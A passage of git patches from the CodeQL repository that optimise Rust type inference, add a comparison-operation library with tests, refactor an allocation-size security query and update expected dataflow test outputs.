target.getDeclaredType(dpos, path1) and exists(TypeMention tm | - tm = getTypeParameterConstraint(tp1) and + tm = getATypeParameterConstraint(tp1) and tm.resolveTypeAt(path2) = tp2 and constraint = resolveTypeMentionRoot(tm) ) From 3fa4ea4da3bb616767f9e2c049253d6b505e8541 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Mon, 19 May 2025 21:31:18 +0200 Subject: [PATCH 225/535] Rust: Improve performance of type inference --- .../codeql/rust/internal/TypeInference.qll | 41 +++++++--- .../typeinference/internal/TypeInference.qll | 82 +++++++++++++------ 2 files changed, 88 insertions(+), 35 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 278d9ebc3176..5ce64b52d681 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -213,13 +213,6 @@ private predicate typeEquality(AstNode n1, TypePath path1, AstNode n2, TypePath path1 = path2 ) or - n2 = - any(PrefixExpr pe | - pe.getOperatorName() = "*" and - pe.getExpr() = n1 and - path1 = TypePath::cons(TRefTypeParameter(), path2) - ) - or n1 = n2.(ParenExpr).getExpr() and path1 = path2 or @@ -239,12 +232,36 @@ private predicate typeEquality(AstNode n1, TypePath path1, AstNode n2, TypePath ) } +bindingset[path1] +private predicate typeEqualityLeft(AstNode n1, TypePath path1, AstNode n2, TypePath path2) { + typeEquality(n1, path1, n2, path2) + or + n2 = + any(PrefixExpr pe | + pe.getOperatorName() = "*" and + pe.getExpr() = n1 and + path1 = TypePath::consInverse(TRefTypeParameter(), path2) + ) +} + +bindingset[path2] +private predicate typeEqualityRight(AstNode n1, TypePath path1, AstNode n2, TypePath path2) { + typeEquality(n1, path1, n2, path2) + or + n2 = + any(PrefixExpr pe | + pe.getOperatorName() = "*" and + pe.getExpr() = n1 and + path1 = TypePath::cons(TRefTypeParameter(), path2) + ) +} + pragma[nomagic] private Type inferTypeEquality(AstNode n, TypePath path) { exists(AstNode n2, TypePath path2 | result = inferType(n2, path2) | - typeEquality(n, path, n2, path2) + typeEqualityRight(n, path, n2, path2) or - typeEquality(n2, path2, n, path) + typeEqualityLeft(n2, path2, n, path) ) } @@ -909,7 +926,7 @@ private Type inferRefExprType(Expr e, TypePath path) { e = re.getExpr() and exists(TypePath exprPath, TypePath refPath, Type exprType | result = inferType(re, exprPath) and - exprPath = TypePath::cons(TRefTypeParameter(), refPath) and + exprPath = TypePath::consInverse(TRefTypeParameter(), refPath) and exprType = inferType(e) | if exprType = TRefType() @@ -924,7 +941,7 @@ private Type inferRefExprType(Expr e, TypePath path) { pragma[nomagic] private Type inferTryExprType(TryExpr te, TypePath path) { exists(TypeParam tp | - result = inferType(te.getExpr(), TypePath::cons(TTypeParamTypeParameter(tp), path)) + result = inferType(te.getExpr(), TypePath::consInverse(TTypeParamTypeParameter(tp), path)) | tp = any(ResultEnum r).getGenericParamList().getGenericParam(0) or @@ -1000,7 +1017,7 @@ private module Cached { pragma[nomagic] Type getTypeAt(TypePath path) { exists(TypePath path0 | result = inferType(this, path0) | - path0 = TypePath::cons(TRefTypeParameter(), path) + path0 = TypePath::consInverse(TRefTypeParameter(), path) or not path0.isCons(TRefTypeParameter(), _) and not (path0.isEmpty() and result = TRefType()) and diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index 1bce43c436bd..fa475be575f7 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -181,18 +181,29 @@ module Make1 Input1> { /** Holds if this type path is empty. */ predicate isEmpty() { this = "" } + /** Gets the length of this path, assuming the length is at least 2. */ + bindingset[this] + pragma[inline_late] + private int length2() { + // Same as + // `result = strictcount(this.indexOf(".")) + 1` + // but performs better because it doesn't use an aggregate + result = this.regexpReplaceAll("[0-9]+", "").length() + 1 + } + /** Gets the length of this path. */ bindingset[this] pragma[inline_late] int length() { - this.isEmpty() and result = 0 - or - result = strictcount(this.indexOf(".")) + 1 + if this.isEmpty() + then result = 0 + else + if exists(TypeParameter::decode(this)) + then result = 1 + else result = this.length2() } /** Gets the path obtained by appending `suffix` onto this path. */ - bindingset[suffix, result] - bindingset[this, result] bindingset[this, suffix] TypePath append(TypePath suffix) { if this.isEmpty() @@ -202,22 +213,37 @@ module Make1 Input1> { then result = this else ( result = this + "." + suffix and - not result.length() > getTypePathLimit() + ( + not exists(getTypePathLimit()) + or + result.length2() <= getTypePathLimit() + ) + ) + } + + /** + * Gets the path obtained by appending `suffix` onto this path. + * + * Unlike `append`, this predicate has `result` in the binding set, + * so there is no need to check the length of `result`. + */ + bindingset[this, result] + TypePath appendInverse(TypePath suffix) { + if result.isEmpty() + then this.isEmpty() and suffix.isEmpty() + else + if this.isEmpty() + then suffix = result + else ( + result = this and suffix.isEmpty() + or + result = this + "." + suffix ) } /** Holds if this path starts with `tp`, followed by `suffix`. */ bindingset[this] - predicate isCons(TypeParameter tp, TypePath suffix) { - tp = TypeParameter::decode(this) and - suffix.isEmpty() - or - exists(int first | - first = min(this.indexOf(".")) and - suffix = this.suffix(first + 1) and - tp = TypeParameter::decode(this.prefix(first)) - ) - } + predicate isCons(TypeParameter tp, TypePath suffix) { this = TypePath::consInverse(tp, suffix) } } /** Provides predicates for constructing `TypePath`s. */ @@ -232,9 +258,17 @@ module Make1 Input1> { * Gets the type path obtained by appending the singleton type path `tp` * onto `suffix`. */ - bindingset[result] bindingset[suffix] TypePath cons(TypeParameter tp, TypePath suffix) { result = singleton(tp).append(suffix) } + + /** + * Gets the type path obtained by appending the singleton type path `tp` + * onto `suffix`. + */ + bindingset[result] + TypePath consInverse(TypeParameter tp, TypePath suffix) { + result = singleton(tp).appendInverse(suffix) + } } /** @@ -556,7 +590,7 @@ module Make1 Input1> { TypeMention tm1, TypeMention tm2, TypeParameter tp, TypePath path, Type t ) { exists(TypePath prefix | - tm2.resolveTypeAt(prefix) = tp and t = tm1.resolveTypeAt(prefix.append(path)) + tm2.resolveTypeAt(prefix) = tp and t = tm1.resolveTypeAt(prefix.appendInverse(path)) ) } @@ -899,7 +933,7 @@ module Make1 Input1> { exists(AccessPosition apos, DeclarationPosition dpos, TypePath pathToTypeParam | tp = target.getDeclaredType(dpos, pathToTypeParam) and accessDeclarationPositionMatch(apos, dpos) and - adjustedAccessType(a, apos, target, pathToTypeParam.append(path), t) + adjustedAccessType(a, apos, target, pathToTypeParam.appendInverse(path), t) ) } @@ -998,7 +1032,9 @@ module Make1 Input1> { RelevantAccess() { this = MkRelevantAccess(a, apos, path) } - Type getTypeAt(TypePath suffix) { a.getInferredType(apos, path.append(suffix)) = result } + Type getTypeAt(TypePath suffix) { + a.getInferredType(apos, path.appendInverse(suffix)) = result + } /** Holds if this relevant access has the type `type` and should satisfy `constraint`. */ predicate hasTypeConstraint(Type type, Type constraint) { @@ -1077,7 +1113,7 @@ module Make1 Input1> { t0 = abs.getATypeParameter() and exists(TypePath path3, TypePath suffix | sub.resolveTypeAt(path3) = t0 and - at.getTypeAt(path3.append(suffix)) = t and + at.getTypeAt(path3.appendInverse(suffix)) = t and path = prefix0.append(suffix) ) ) @@ -1149,7 +1185,7 @@ module Make1 Input1> { not exists(getTypeArgument(a, target, tp, _)) and target = a.getTarget() and exists(AccessPosition apos, DeclarationPosition dpos, Type base, TypePath pathToTypeParam | - accessBaseType(a, apos, base, pathToTypeParam.append(path), t) and + accessBaseType(a, apos, base, pathToTypeParam.appendInverse(path), t) and declarationBaseType(target, dpos, base, pathToTypeParam, tp) and accessDeclarationPositionMatch(apos, dpos) ) @@ -1217,7 +1253,7 @@ module Make1 Input1> { typeParameterConstraintHasTypeParameter(target, dpos, pathToTp2, _, constraint, pathToTp, tp) and AccessConstraint::satisfiesConstraintTypeMention(a, apos, pathToTp2, constraint, - pathToTp.append(path), t) + pathToTp.appendInverse(path), t) ) } From bc4b69bb93936c646a47d76e33f0415c844c8184 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 20 May 2025 10:05:30 +0100 Subject: [PATCH 226/535] Rust: Add ComparisonOperation library. --- .../rust/elements/ComparisonOperation.qll | 66 +++++++++++++++++++ rust/ql/lib/rust.qll | 1 + .../library-tests/operations/Operations.ql | 18 +++++ rust/ql/test/library-tests/operations/test.rs | 12 ++-- 4 files changed, 91 insertions(+), 6 deletions(-) create mode 100644 rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll diff --git a/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll b/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll new file mode 100644 index 000000000000..e37c5db5987c --- /dev/null +++ b/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll @@ -0,0 +1,66 @@ +private import codeql.rust.elements.Expr +private import codeql.rust.elements.BinaryExpr +private import codeql.rust.elements.Operation + +/** + * A comparison operation, such as `==`, `<` or `>=`. + */ +abstract private class ComparisonOperationImpl extends Operation { } + +final class ComparisonOperation = ComparisonOperationImpl; + +/** + * An equality comparison operation, `==` or `!=`. + */ +abstract private class EqualityOperationImpl extends BinaryExpr, ComparisonOperationImpl { } + +final class EqualityOperation = EqualityOperationImpl; + +/** + * The equal comparison operation, `==`. + */ +final class EqualOperation extends EqualityOperationImpl, BinaryExpr { + EqualOperation() { this.getOperatorName() = "==" } +} + +/** + * The not equal comparison operation, `!=`. + */ +final class NotEqualOperation extends EqualityOperationImpl { + NotEqualOperation() { this.getOperatorName() = "!=" } +} + +/** + * A relational comparison operation, that is, one of `<=`, `<`, `>`, or `>=`. + */ +abstract private class RelationalOperationImpl extends BinaryExpr, ComparisonOperationImpl { } + +final class RelationalOperation = RelationalOperationImpl; + +/** + * The less than comparison operation, `<`. + */ +final class LessThanOperation extends RelationalOperationImpl, BinaryExpr { + LessThanOperation() { this.getOperatorName() = "<" } +} + +/** + * The greater than comparison operation, `>?`. + */ +final class GreaterThanOperation extends RelationalOperationImpl, BinaryExpr { + GreaterThanOperation() { this.getOperatorName() = ">" } +} + +/** + * The less than or equal comparison operation, `<=`. + */ +final class LessOrEqualOperation extends RelationalOperationImpl, BinaryExpr { + LessOrEqualOperation() { this.getOperatorName() = "<=" } +} + +/** + * The less than or equal comparison operation, `>=`. + */ +final class GreaterOrEqualOperation extends RelationalOperationImpl, BinaryExpr { + GreaterOrEqualOperation() { this.getOperatorName() = ">=" } +} diff --git a/rust/ql/lib/rust.qll b/rust/ql/lib/rust.qll index 7b97f68469ca..4a533b34badc 100644 --- a/rust/ql/lib/rust.qll +++ b/rust/ql/lib/rust.qll @@ -5,6 +5,7 @@ import codeql.Locations import codeql.files.FileSystem import codeql.rust.elements.Operation import codeql.rust.elements.AssignmentOperation +import codeql.rust.elements.ComparisonOperation import codeql.rust.elements.LiteralExprExt import codeql.rust.elements.LogicalOperation import codeql.rust.elements.AsyncBlockExpr diff --git a/rust/ql/test/library-tests/operations/Operations.ql b/rust/ql/test/library-tests/operations/Operations.ql index cbb81bdcb025..39b4279ddd68 100644 --- a/rust/ql/test/library-tests/operations/Operations.ql +++ b/rust/ql/test/library-tests/operations/Operations.ql @@ -13,6 +13,24 @@ string describe(Expr op) { op instanceof LogicalOperation and result = "LogicalOperation" or op instanceof RefExpr and result = "RefExpr" + or + op instanceof ComparisonOperation and result = "ComparisonOperation" + or + op instanceof EqualityOperation and result = "EqualityOperation" + or + op instanceof EqualOperation and result = "EqualOperation" + or + op instanceof NotEqualOperation and result = "NotEqualOperation" + or + op instanceof RelationalOperation and result = "RelationalOperation" + or + op instanceof LessThanOperation and result = "LessThanOperation" + or + op instanceof GreaterThanOperation and result = "GreaterThanOperation" + or + op instanceof LessOrEqualOperation and result = "LessOrEqualOperation" + or + op instanceof GreaterOrEqualOperation and result = "GreaterOrEqualOperation" } module OperationsTest implements TestSig { diff --git a/rust/ql/test/library-tests/operations/test.rs b/rust/ql/test/library-tests/operations/test.rs index f82a9501fef4..8b7e6764b539 100644 --- a/rust/ql/test/library-tests/operations/test.rs +++ b/rust/ql/test/library-tests/operations/test.rs @@ -11,12 +11,12 @@ fn test_operations( x = y; // $ Operation Op== Operands=2 AssignmentOperation BinaryExpr // comparison operations - x == y; // $ Operation Op=== Operands=2 BinaryExpr - x != y; // $ Operation Op=!= Operands=2 BinaryExpr - x < y; // $ Operation Op=< Operands=2 BinaryExpr - x <= y; // $ Operation Op=<= Operands=2 BinaryExpr - x > y; // $ Operation Op=> Operands=2 BinaryExpr - x >= y; // $ Operation Op=>= Operands=2 BinaryExpr + x == y; // $ Operation Op=== Operands=2 BinaryExpr ComparisonOperation EqualityOperation EqualOperation + x != y; // $ Operation Op=!= Operands=2 BinaryExpr ComparisonOperation EqualityOperation NotEqualOperation + x < y; // $ Operation Op=< Operands=2 BinaryExpr ComparisonOperation RelationalOperation LessThanOperation + x <= y; // $ Operation Op=<= Operands=2 BinaryExpr ComparisonOperation RelationalOperation LessOrEqualOperation + x > y; // $ Operation Op=> Operands=2 BinaryExpr ComparisonOperation RelationalOperation GreaterThanOperation + x >= y; // $ Operation Op=>= Operands=2 BinaryExpr ComparisonOperation RelationalOperation GreaterOrEqualOperation // arithmetic operations x + y; // $ Operation Op=+ Operands=2 BinaryExpr From ca1437adf19e8ded15b8ea5e40cf5efac324ceb9 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 20 May 2025 10:14:11 +0100 Subject: [PATCH 227/535] Rust: Move the getGreaterOperand/getLesserOperand predicates into RelationalOperation. --- .../rust/elements/ComparisonOperation.qll | 36 +++++++++++++++++-- .../UncontrolledAllocationSizeExtensions.qll | 32 ++--------------- .../library-tests/operations/Operations.ql | 12 ++++++- rust/ql/test/library-tests/operations/test.rs | 8 ++--- 4 files changed, 51 insertions(+), 37 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll b/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll index e37c5db5987c..002e011c2f05 100644 --- a/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll +++ b/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll @@ -33,7 +33,23 @@ final class NotEqualOperation extends EqualityOperationImpl { /** * A relational comparison operation, that is, one of `<=`, `<`, `>`, or `>=`. */ -abstract private class RelationalOperationImpl extends BinaryExpr, ComparisonOperationImpl { } +abstract private class RelationalOperationImpl extends BinaryExpr, ComparisonOperationImpl { + /** + * Gets the operand on the "greater" (or "greater-or-equal") side + * of this relational expression, that is, the side that is larger + * if the overall expression evaluates to `true`; for example on + * `x <= 20` this is the `20`, and on `y > 0` it is `y`. + */ + abstract Expr getGreaterOperand(); + + /** + * Gets the operand on the "lesser" (or "lesser-or-equal") side + * of this relational expression, that is, the side that is smaller + * if the overall expression evaluates to `true`; for example on + * `x <= 20` this is `x`, and on `y > 0` it is the `0`. + */ + abstract Expr getLesserOperand(); +} final class RelationalOperation = RelationalOperationImpl; @@ -42,13 +58,21 @@ final class RelationalOperation = RelationalOperationImpl; */ final class LessThanOperation extends RelationalOperationImpl, BinaryExpr { LessThanOperation() { this.getOperatorName() = "<" } + + override Expr getGreaterOperand() { result = this.getRhs() } + + override Expr getLesserOperand() { result = this.getLhs() } } /** - * The greater than comparison operation, `>?`. + * The greater than comparison operation, `>`. */ final class GreaterThanOperation extends RelationalOperationImpl, BinaryExpr { GreaterThanOperation() { this.getOperatorName() = ">" } + + override Expr getGreaterOperand() { result = this.getLhs() } + + override Expr getLesserOperand() { result = this.getRhs() } } /** @@ -56,6 +80,10 @@ final class GreaterThanOperation extends RelationalOperationImpl, BinaryExpr { */ final class LessOrEqualOperation extends RelationalOperationImpl, BinaryExpr { LessOrEqualOperation() { this.getOperatorName() = "<=" } + + override Expr getGreaterOperand() { result = this.getRhs() } + + override Expr getLesserOperand() { result = this.getLhs() } } /** @@ -63,4 +91,8 @@ final class LessOrEqualOperation extends RelationalOperationImpl, BinaryExpr { */ final class GreaterOrEqualOperation extends RelationalOperationImpl, BinaryExpr { GreaterOrEqualOperation() { this.getOperatorName() = ">=" } + + override Expr getGreaterOperand() { result = this.getLhs() } + + override Expr getLesserOperand() { result = this.getRhs() } } diff --git a/rust/ql/lib/codeql/rust/security/UncontrolledAllocationSizeExtensions.qll b/rust/ql/lib/codeql/rust/security/UncontrolledAllocationSizeExtensions.qll index b8ab16090d19..1a333a9f9e7f 100644 --- a/rust/ql/lib/codeql/rust/security/UncontrolledAllocationSizeExtensions.qll +++ b/rust/ql/lib/codeql/rust/security/UncontrolledAllocationSizeExtensions.qll @@ -43,44 +43,16 @@ module UncontrolledAllocationSize { } } - /** - * Gets the operand on the "greater" (or "greater-or-equal") side - * of this relational expression, that is, the side that is larger - * if the overall expression evaluates to `true`; for example on - * `x <= 20` this is the `20`, and on `y > 0` it is `y`. - */ - private Expr getGreaterOperand(BinaryExpr op) { - op.getOperatorName() = ["<", "<="] and - result = op.getRhs() - or - op.getOperatorName() = [">", ">="] and - result = op.getLhs() - } - - /** - * Gets the operand on the "lesser" (or "lesser-or-equal") side - * of this relational expression, that is, the side that is smaller - * if the overall expression evaluates to `true`; for example on - * `x <= 20` this is `x`, and on `y > 0` it is the `0`. - */ - private Expr getLesserOperand(BinaryExpr op) { - op.getOperatorName() = ["<", "<="] and - result = op.getLhs() - or - op.getOperatorName() = [">", ">="] and - result = op.getRhs() - } - /** * Holds if comparison `g` having result `branch` indicates an upper bound for the sub-expression * `node`. For example when the comparison `x < 10` is true, we have an upper bound for `x`. */ private predicate isUpperBoundCheck(CfgNodes::AstCfgNode g, Cfg::CfgNode node, boolean branch) { exists(BinaryExpr cmp | g = cmp.getACfgNode() | - node = getLesserOperand(cmp).getACfgNode() and + node = cmp.(RelationalOperation).getLesserOperand().getACfgNode() and branch = true or - node = getGreaterOperand(cmp).getACfgNode() and + node = cmp.(RelationalOperation).getGreaterOperand().getACfgNode() and branch = false or cmp.getOperatorName() = "==" and diff --git a/rust/ql/test/library-tests/operations/Operations.ql b/rust/ql/test/library-tests/operations/Operations.ql index 39b4279ddd68..af7ecefb1c39 100644 --- a/rust/ql/test/library-tests/operations/Operations.ql +++ b/rust/ql/test/library-tests/operations/Operations.ql @@ -34,7 +34,9 @@ string describe(Expr op) { } module OperationsTest implements TestSig { - string getARelevantTag() { result = describe(_) or result = ["Op", "Operands"] } + string getARelevantTag() { + result = describe(_) or result = ["Op", "Operands", "Greater", "Lesser"] + } predicate hasActualResult(Location location, string element, string tag, string value) { exists(Expr op | @@ -51,6 +53,14 @@ module OperationsTest implements TestSig { op instanceof Operation and tag = "Operands" and value = count(op.(Operation).getAnOperand()).toString() + or + op instanceof RelationalOperation and + tag = "Greater" and + value = op.(RelationalOperation).getGreaterOperand().toString() + or + op instanceof RelationalOperation and + tag = "Lesser" and + value = op.(RelationalOperation).getLesserOperand().toString() ) ) } diff --git a/rust/ql/test/library-tests/operations/test.rs b/rust/ql/test/library-tests/operations/test.rs index 8b7e6764b539..06c9bbe6db17 100644 --- a/rust/ql/test/library-tests/operations/test.rs +++ b/rust/ql/test/library-tests/operations/test.rs @@ -13,10 +13,10 @@ fn test_operations( // comparison operations x == y; // $ Operation Op=== Operands=2 BinaryExpr ComparisonOperation EqualityOperation EqualOperation x != y; // $ Operation Op=!= Operands=2 BinaryExpr ComparisonOperation EqualityOperation NotEqualOperation - x < y; // $ Operation Op=< Operands=2 BinaryExpr ComparisonOperation RelationalOperation LessThanOperation - x <= y; // $ Operation Op=<= Operands=2 BinaryExpr ComparisonOperation RelationalOperation LessOrEqualOperation - x > y; // $ Operation Op=> Operands=2 BinaryExpr ComparisonOperation RelationalOperation GreaterThanOperation - x >= y; // $ Operation Op=>= Operands=2 BinaryExpr ComparisonOperation RelationalOperation GreaterOrEqualOperation + x < y; // $ Operation Op=< Operands=2 BinaryExpr ComparisonOperation RelationalOperation LessThanOperation Greater=y Lesser=x + x <= y; // $ Operation Op=<= Operands=2 BinaryExpr ComparisonOperation RelationalOperation LessOrEqualOperation Greater=y Lesser=x + x > y; // $ Operation Op=> Operands=2 BinaryExpr ComparisonOperation RelationalOperation GreaterThanOperation Greater=x Lesser=y + x >= y; // $ Operation Op=>= Operands=2 BinaryExpr ComparisonOperation RelationalOperation GreaterOrEqualOperation Greater=x Lesser=y // arithmetic operations x + y; // $ Operation Op=+ Operands=2 BinaryExpr From 2b65eebbc8226bd927fca1ca3fde3b800f87eedf Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 20 May 2025 10:32:50 +0100 Subject: [PATCH 228/535] Rust: QLDoc. --- rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll | 4 ++++ rust/ql/lib/codeql/rust/elements/LogicalOperation.qll | 4 ++++ 2 files changed, 8 insertions(+) diff --git a/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll b/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll index 002e011c2f05..4c20b1d38de9 100644 --- a/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll +++ b/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll @@ -1,3 +1,7 @@ +/** + * Provides classes for comparison operations. + */ + private import codeql.rust.elements.Expr private import codeql.rust.elements.BinaryExpr private import codeql.rust.elements.Operation diff --git a/rust/ql/lib/codeql/rust/elements/LogicalOperation.qll b/rust/ql/lib/codeql/rust/elements/LogicalOperation.qll index eaf1ff06b7d5..d0099be0b93c 100644 --- a/rust/ql/lib/codeql/rust/elements/LogicalOperation.qll +++ b/rust/ql/lib/codeql/rust/elements/LogicalOperation.qll @@ -1,3 +1,7 @@ +/** + * Provides classes for logical operations. + */ + private import codeql.rust.elements.Expr private import codeql.rust.elements.BinaryExpr private import codeql.rust.elements.PrefixExpr From 0feade467dc40cb34828023a9eb85ac3ff97e8d7 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 20 May 2025 10:35:02 +0100 Subject: [PATCH 229/535] Update rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll b/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll index 4c20b1d38de9..bdba5ad2c29f 100644 --- a/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll +++ b/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll @@ -91,7 +91,7 @@ final class LessOrEqualOperation extends RelationalOperationImpl, BinaryExpr { } /** - * The less than or equal comparison operation, `>=`. + * The greater than or equal comparison operation, `>=`. */ final class GreaterOrEqualOperation extends RelationalOperationImpl, BinaryExpr { GreaterOrEqualOperation() { this.getOperatorName() = ">=" } From bd004abeae7b2f11b58b8da371caaa25ea771455 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 20 May 2025 10:35:41 +0100 Subject: [PATCH 230/535] Rust: Remove redundant import. --- rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll | 1 - 1 file changed, 1 deletion(-) diff --git a/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll b/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll index bdba5ad2c29f..253dd0d19acb 100644 --- a/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll +++ b/rust/ql/lib/codeql/rust/elements/ComparisonOperation.qll @@ -2,7 +2,6 @@ * Provides classes for comparison operations. */ -private import codeql.rust.elements.Expr private import codeql.rust.elements.BinaryExpr private import codeql.rust.elements.Operation From 204260e244aac11fbd336362dfd847ece70fd408 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 20 May 2025 10:59:23 +0100 Subject: [PATCH 231/535] Rust: Uncomment calls to test functions. --- rust/ql/test/library-tests/dataflow/sources/test.rs | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index e2cea47b95b3..370f3d4c9b66 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -777,17 +777,17 @@ async fn main() -> Result<(), Box> { println!("test_env_vars..."); test_env_vars(); - /*println!("test_env_args..."); - test_env_args();*/ + println!("test_env_args..."); + test_env_args(); println!("test_env_dirs..."); test_env_dirs(); - /*println!("test_reqwest..."); + println!("test_reqwest..."); match futures::executor::block_on(test_reqwest()) { Ok(_) => println!("complete"), Err(e) => println!("error: {}", e), - }*/ + } println!("test_hyper_http..."); match futures::executor::block_on(test_hyper_http(case)) { @@ -795,7 +795,7 @@ async fn main() -> Result<(), Box> { Err(e) => println!("error: {}", e), } - /*println!("test_io_stdin..."); + println!("test_io_stdin..."); match test_io_stdin() { Ok(_) => println!("complete"), Err(e) => println!("error: {}", e), @@ -805,7 +805,7 @@ async fn main() -> Result<(), Box> { match futures::executor::block_on(test_tokio_stdin()) { Ok(_) => println!("complete"), Err(e) => println!("error: {}", e), - }*/ + } println!("test_fs..."); match test_fs() { From bfb15cd88f8f3cf463efbbc58ee6fc54fbfdb853 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 20 May 2025 11:07:06 +0100 Subject: [PATCH 232/535] Rust: Accept changes to other tests. --- .../dataflow/local/DataFlowStep.expected | 3 + .../dataflow/local/inline-flow.expected | 55 +++++++++++-------- .../test/library-tests/dataflow/local/main.rs | 2 +- 3 files changed, 37 insertions(+), 23 deletions(-) diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected index 98a2634346e7..95ec16852020 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected @@ -1167,6 +1167,8 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::allocator | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::allocator | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::as_mut_ptr | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_mut_ptr | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::as_ptr | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_ptr | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::new | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::pin | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::pin | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_mut | @@ -1367,6 +1369,7 @@ readStep | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::unwrap_or_else | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::unwrap_or_else | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::zip | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:core::_::::zip | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::zip_with | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:core::_::::zip_with | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::new_unchecked | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::new_unchecked | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::is_err_and | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::is_err_and | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::is_ok_and | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::is_ok_and | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::map | diff --git a/rust/ql/test/library-tests/dataflow/local/inline-flow.expected b/rust/ql/test/library-tests/dataflow/local/inline-flow.expected index 80469e0b3995..cf3fd262c65a 100644 --- a/rust/ql/test/library-tests/dataflow/local/inline-flow.expected +++ b/rust/ql/test/library-tests/dataflow/local/inline-flow.expected @@ -1,14 +1,15 @@ models -| 1 | Summary: lang:core; <_ as crate::convert::From>::from; Argument[0]; ReturnValue; value | -| 2 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | -| 3 | Summary: lang:core; ::unwrap_or; Argument[0]; ReturnValue; value | -| 4 | Summary: lang:core; ::unwrap_or; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | -| 5 | Summary: lang:core; 